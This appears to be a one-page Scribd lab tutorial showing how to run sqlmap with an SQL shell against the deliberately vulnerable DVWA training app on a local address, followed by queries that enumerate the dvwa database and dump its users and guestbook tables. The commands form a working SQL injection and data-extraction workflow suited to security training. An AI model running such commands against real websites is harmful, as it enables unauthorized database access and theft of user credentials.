KEMBAR78
SQL Shell | PDF
0% found this document useful (0 votes)
103 views1 page

SQL Shell

The document provides a series of SQL commands executed using sqlmap to interact with a vulnerable database. It includes commands to display the current database, list table names, retrieve data from specific tables, count records, and group data by user attributes. The commands are specifically targeting the 'dvwa' database and its 'users' and 'guestbook' tables.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
103 views1 page

SQL Shell

The document provides a series of SQL commands executed using sqlmap to interact with a vulnerable database. It includes commands to display the current database, list table names, retrieve data from specific tables, count records, and group data by user attributes. The commands are specifically targeting the 'dvwa' database and its 'users' and 'guestbook' tables.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 1

sqlmap -u 'http://127.8.0.1/vulnerabilities/sqli/?

id=1&Submit=Submit#' --
cookie='PHPSESSID=qhj2pmck3k9gnmbn5ahvg80ok7; security=low' --sql-shell -
-batch

After gaining access:

Command:
sql-shell> database();
Explanation: Displays the name of the current database in use.

Command:
sql-shell> SELECT table_name FROM information_schema.tables WHERE
table_schema = 'dvwa';
Explanation: Lists all table names within the dvwa database.

Command:
sql-shell> SELECT * FROM dvwa.users;
Explanation: Retrieves all rows and columns from the users table in the
dvwa database.

Command:
sql-shell> SELECT * FROM dvwa.guestbook;
Explanation: Retrieves all rows and columns from the guestbook table in
the dvwa database.

Command:
sql-shell> SELECT COUNT(*) FROM dvwa.users;
Explanation: Counts the total number of records in the users table.

Command:
sql-shell> SELECT * FROM dvwa.users LIMIT 5;
Explanation: Retrieves the first 5 records from the users table.

Command:
sql-shell> SELECT COUNT(*), first_name FROM dvwa.users GROUP BY
first_name;
Explanation: Groups user records by first_name and displays the count of
each group.

Command:
sql-shell> SELECT column_name, data_type FROM information_schema.columns
WHERE table_name = 'users';
Explanation: Lists the column names and their data types from the users
table.

You might also like